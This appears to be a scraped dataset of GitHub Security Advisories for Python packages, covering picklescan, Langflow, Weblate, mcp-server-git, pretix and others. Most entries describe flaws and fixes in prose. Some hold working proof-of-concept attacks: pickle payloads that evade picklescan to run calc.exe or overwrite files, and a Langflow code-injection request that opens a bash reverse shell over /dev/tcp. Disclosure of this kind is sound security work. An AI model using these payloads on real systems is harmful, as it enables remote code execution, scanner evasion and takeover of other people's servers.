deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-4675-36f9-wf6r
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs, CWE-913: Improper Control of Dynamically-Managed Code Resources
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan does not block ctypes

Details:
### Summary
Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to
* Load DLLs
* Call C functions directly
* Manipulate memory raw pointers.

This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.

This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected

### PoC
```python
import pickle
import ctypes
import operator

class Kernel32Loader:
    def __reduce__(self):
        #we go direct to the kerneeellllllll
        return (ctypes.WinDLL, ("kernel32.dll",))

class WinExecGetter:
    def __reduce__(self):
        return (operator.itemgetter("WinExec"), (Kernel32Loader(),))

class PopCalc:
    def __reduce__(self):
        #methodcaller to invoke "__call__" on the function pointer.
        return (
            operator.methodcaller("__call__", b"calc.exe", 1), 
            (WinExecGetter(),)
        )

try:
    payload = pickle.dumps(PopCalc())
    
    with open("calc_exploit.pkl", "wb") as f:
        f.write(payload)
        
    print("Generated 'calc_exploit.pkl'")

except Exception as e:
    print(f"Generation failed: {e}")
```
This will create a pickle file which is not detected by the latest version of picklescan as malicious

```python
import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))
```

<img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />
GitHub Security Advisory: GHSA-m273-6v24-x4m4
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data, CWE-552: Files or Directories Accessible to External Parties
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan vulnerable to Arbitrary File Writing

Details:
### Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.

### Details
This is another vulnerability which impacts the downstream user.

By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.

### PoC
```python
import pickle
import distutils.file_util

class FileWriteBypass:
    def __reduce__(self):
        
        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]
        
        return (distutils.file_util.write_file, (target_file, content))

payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)

print("bypass_filewrite.pkl")
```

<img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" />

To fix this just add disutil to the blacklist
GitHub Security Advisory: GHSA-rcfx-77hg-w2wv
Package: fastmcp (PIP)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: < 2.14.0
Patched in: 2.14.0

Summary: FastMCP updated to MCP 1.23+ due to CVE-2025-66416

Details:
There was a recent CVE report on MCP: https://nvd.nist.gov/vuln/detail/CVE-2025-66416. 

FastMCP does not use any of the affected components of the MCP SDK directly. However, FastMCP versions prior to 2.14.0 did allow MCP SDK versions <1.23 that were vulnerable to CVE-2025-66416. Users should upgrade to FastMCP 2.14.0 or later.
GitHub Security Advisory: GHSA-pp3g-xmm4-5cw9
Package: homeassistant (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 2025.8.0
Patched in: 2025.8.0

Summary: Home Assistant Core before is vulnerable to Directory Traversal

Details:
Home Assistant Core before v2025.8.0 is vulnerable to Directory Traversal. The Downloader integration does not fully validate file paths during concatenation, leaving a path traversal vulnerability.
GitHub Security Advisory: GHSA-428g-f7cq-pgp5
Package: marshmallow (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-405: Asymmetric Resource Consumption (Amplification)
Vulnerable versions: >= 4.0.0, < 4.1.2
Patched in: 4.1.2

Summary: Marshmallow has DoS in Schema.load(many)

Details:
### Impact

`Schema.load(data, many=True)` is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time.

### Patches

4.1.2, 3.26.2

### Workarounds

```py
# Fail fast
def load_many(schema, data, **kwargs):
    if not isinstance(data, list):
        raise ValidationError(['Invalid input type.'])
    return [schema.load(item, **kwargs) for item in data]
```
GitHub Security Advisory: GHSA-428g-f7cq-pgp5
Package: marshmallow (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-405: Asymmetric Resource Consumption (Amplification)
Vulnerable versions: >= 3.0.0rc1, < 3.26.2
Patched in: 3.26.2

Summary: Marshmallow has DoS in Schema.load(many)

Details:
### Impact

`Schema.load(data, many=True)` is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time.

### Patches

4.1.2, 3.26.2

### Workarounds

```py
# Fail fast
def load_many(schema, data, **kwargs):
    if not isinstance(data, list):
        raise ValidationError(['Invalid input type.'])
    return [schema.load(item, **kwargs) for item in data]
```
GitHub Security Advisory: GHSA-pmjj-h5jm-vxh4
Package: pretix (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: < 2025.8.3
Patched in: 2025.8.3

Summary: pretix has Broken Access Control Allowing Cross-User File Access via UUID

Details:
An API endpoint allowed access to sensitive files from other users by knowing the UUID of the file that were not intended to be accessible by UUID only.
GitHub Security Advisory: GHSA-pmjj-h5jm-vxh4
Package: pretix (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 2025.9.0, < 2025.9.3
Patched in: 2025.9.3

Summary: pretix has Broken Access Control Allowing Cross-User File Access via UUID

Details:
An API endpoint allowed access to sensitive files from other users by knowing the UUID of the file that were not intended to be accessible by UUID only.
GitHub Security Advisory: GHSA-pmjj-h5jm-vxh4
Package: pretix (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 2025.10.0, < 2025.10.1
Patched in: 2025.10.1

Summary: pretix has Broken Access Control Allowing Cross-User File Access via UUID

Details:
An API endpoint allowed access to sensitive files from other users by knowing the UUID of the file that were not intended to be accessible by UUID only.
GitHub Security Advisory: GHSA-r2h2-g46h-8mx8
Package: pretix (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: < 2025.8.3
Patched in: 2025.8.3

Summary: pretix has Broken Access Control Allowing Cross-User File Access via UUID

Details:
Multiple API endpoints allowed access to sensitive files from other users by knowing the UUID of the file that were not intended to be accessible by UUID only.
GitHub Security Advisory: GHSA-r2h2-g46h-8mx8
Package: pretix (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 2025.9.0, < 2025.9.3
Patched in: 2025.9.3

Summary: pretix has Broken Access Control Allowing Cross-User File Access via UUID

Details:
Multiple API endpoints allowed access to sensitive files from other users by knowing the UUID of the file that were not intended to be accessible by UUID only.
GitHub Security Advisory: GHSA-r2h2-g46h-8mx8
Package: pretix (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 2025.10.0, < 2025.10.1
Patched in: 2025.10.1

Summary: pretix has Broken Access Control Allowing Cross-User File Access via UUID

Details:
Multiple API endpoints allowed access to sensitive files from other users by knowing the UUID of the file that were not intended to be accessible by UUID only.
GitHub Security Advisory: GHSA-j22h-9j4x-23w5
Package: mcp-server-git (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 2025.12.18
Patched in: 2025.12.18

Summary: mcp-server-git has missing path validation when using --repository flag

Details:
In mcp-server-git versions prior to 2025.12.18, when the server is started with the --repository flag to restrict operations to a specific repository path, it did not validate that repo_path arguments in subsequent tool calls were actually within that configured path. This could allow tool calls to operate on other repositories accessible to the server process. The fix adds path validation that resolves both the configured repository and the requested path (following symlinks) and verifies the requested path is within the allowed repository before executing any git operations. Users are advised to upgrade to 2025.12.18 to remediate this issue.

Thank you to https://hackerone.com/yardenporat for reporting.
GitHub Security Advisory: GHSA-9xwc-hfwc-8w59
Package: mcp-server-git (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Vulnerable versions: < 2025.12.18
Patched in: 2025.12.18

Summary:  mcp-server-git argument injection in git_diff and git_checkout functions allows overwriting local files

Details:
In mcp-server-git versions prior to 2025.12.18, the git_diff and git_checkout functions passed user-controlled arguments directly to git CLI commands without sanitization. Flag-like values (e.g., `--output=/path/to/file` for `git_diff`) would be interpreted as command-line options rather than git refs, enabling arbitrary file overwrites. The fix adds validation that rejects arguments starting with - and verifies the argument resolves to a valid git ref via rev_parse before execution. Users are advised to update to 2025.12.18 resolve this issue.

Thank you to https://hackerone.com/yardenporat for reporting.
GitHub Security Advisory: GHSA-hp6r-r9vc-q8wx
Package: fastapi-sso (PIP)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-285: Improper Authorization
Vulnerable versions: < 0.19.0
Patched in: 0.19.0

Summary: FastAPI SSP is vulnerable to Cross-site Request Forgery (CSRF) through improper OAuth parameter validation

Details:
Versions of the package fastapi-sso before 0.19.0 are vulnerable to Cross-site Request Forgery (CSRF) due to the improper validation of the OAuth state parameter during the authentication callback. While the get_login_url method allows for state generation, it does not persist the state or bind it to the user's session. Consequently, the verify_and_process method accepts the state received in the query parameters without verifying it against a trusted local value. This allows a remote attacker to trick a victim into visiting a malicious callback URL, which can result in the attacker's account being linked to the victim's internal account.
GitHub Security Advisory: GHSA-8vcg-cfxj-p5m3
Package: Weblate (PIP)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-20: Improper Input Validation, CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 5.15.1
Patched in: 5.15.1

Summary: Weblate is vulnerable to RCE through Git config file overwrite

Details:
### Impact

It was possible to overwrite Git configuration remotely and override some of its behavior.


### Resources

Thanks to Jason Marcello for responsible disclosure.
GitHub Security Advisory: GHSA-g925-f788-4jh7
Package: Weblate (PIP)
Severity: HIGH (CVSS 7.7)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: < 5.15.1
Patched in: 5.15.1

Summary: Weblate has an arbitrary file read via symbolic links

Details:
### Impact
It was possible to read arbitrary files from the server file system using crafted symbolic links in the repository.

### Resources

Thanks to Jason Marcello for responsible disclosure.
GitHub Security Advisory: GHSA-x3vf-39hj-gxr4
Package: biopython (PIP)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-611: Improper Restriction of XML External Entity Reference
Vulnerable versions: <= 1.86
Patched in: unpatched

Summary: Biopython is vulnerable to doctype XML external entity (XXE) injection through Bio.Entrez

Details:
Bio.Entrez in Biopython through 1.86 allows doctype XXE.
GitHub Security Advisory: GHSA-4gv9-mp8m-592r
Package: langflow-base (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-269: Improper Privilege Management
Vulnerable versions: <= 0.5.0
Patched in: 0.5.1

Summary: Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)

Details:
This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

### Summary
A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

### Details
Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

`langflow superuser`

This command allows creation of a new superuser without checking whether one already exists. 

When combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:

`/app/.venv/bin/langflow superuser`

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

### PoC
1. Start container with LANGFLOW_ENABLE_AUTH set to True.
2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)

<img width="1311" height="627" alt="image" src="https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3" />

3. Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

```
{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n    pass"
}
```

4. Inside reverse shell, create superuser:


<img width="731" height="217" alt="image" src="https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc" />


5. Log into UI as new superuser:

<img width="1262" height="532" alt="image" src="https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b" />


### Impact

- Privilege escalation to superuser — complete takeover of the Langflow instance
- Access to all user data, flows, stored credentials, and configuration
- Credential leakage — attacker can extract third-party API keys 
- Exposure of environment variables (inside docker container)
- Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.
- Full user management — superuser can delete other users, reset their passwords
GitHub Security Advisory: GHSA-4gv9-mp8m-592r
Package: langflow (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-269: Improper Privilege Management
Vulnerable versions: <= 1.5.0
Patched in: 1.5.1

Summary: Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)

Details:
This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

### Summary
A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

### Details
Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

`langflow superuser`

This command allows creation of a new superuser without checking whether one already exists. 

When combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:

`/app/.venv/bin/langflow superuser`

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

### PoC
1. Start container with LANGFLOW_ENABLE_AUTH set to True.
2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)

<img width="1311" height="627" alt="image" src="https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3" />

3. Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

```
{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n    pass"
}
```

4. Inside reverse shell, create superuser:


<img width="731" height="217" alt="image" src="https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc" />


5. Log into UI as new superuser:

<img width="1262" height="532" alt="image" src="https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b" />


### Impact

- Privilege escalation to superuser — complete takeover of the Langflow instance
- Access to all user data, flows, stored credentials, and configuration
- Credential leakage — attacker can extract third-party API keys 
- Exposure of environment variables (inside docker container)
- Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.
- Full user management — superuser can delete other users, reset their passwords
GitHub Security Advisory: GHSA-h4pw-wxh7-4vjj
Package: python-jose (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable versions: < 3.4.0
Patched in: 3.4.0

Summary: Duplicate Advisory: python-jose denial of service via compressed JWE content

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-cjwg-qfpm-7377. This link is maintained to preserve external references.

### Original Description

In python-jose 3.3.0 (specifically jwe.decrypt), a vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.
GitHub Security Advisory: GHSA-66h8-3g48-6hx8
Package: apache-airflow-providers-edge3 (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: < 2.0.0
Patched in: 2.0.0

Summary: Apache Airflow Providers Edge3 exposes internal API allowing RCE in web server context

Details:
Edge3 Worker RPC RCE on Airflow 2.

This issue affects Apache Airflow Providers Edge3: before 2.0.0 - and only if projects installed and configured it on Airflow 2.

The Edge3 provider support in Airflow 2 has been always development-only and not officially released, however if projects installed and configured Edge3 provider in Airflow 2, it implicitly enabled non-public (normally) API which was used to test Edge Provider in Airflow 2 during the development. This API allowed Dag author to perform Remote Code Execution in the webserver context, which Dag Author was not supposed to be able to do.

If projects installed and configured Edge3 provider for Airflow 2, they should uninstall it and migrate to Airflow 3. The new Edge3 provider versions (>=2.0.0) has a minimum version of Airflow set to 3 and the RCE-prone Airflow 2 code is removed, so it should no longer be possible to use the Edge3 provider 2.0.0+ on Airflow 2.

If projects used Edge Provider in Airflow 3, you they are not affected.
GitHub Security Advisory: GHSA-5cgr-j3jf-jw3v
Package: mcp-server-git (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 2025.9.25
Patched in: 2025.9.25

Summary: mcp-server-git's unrestricted git_init tool allows repository creation at arbitrary filesystem locations

Details:
In mcp-server-git versions prior to 2025.9.25, the git_init tool accepted arbitrary filesystem paths and created Git repositories without validating the target location. Unlike other tools which required an existing repository, git_init could operate on any directory accessible to the server process, making those directories eligible for subsequent git operations. The tool was removed entirely, as the server is intended to operate on existing repositories only. Users are advised to upgrade to 2025.9.25 or newer to remediate this issue.

Thank you to https://hackerone.com/yardenporat for disclosure, @0dd for contributing the fix.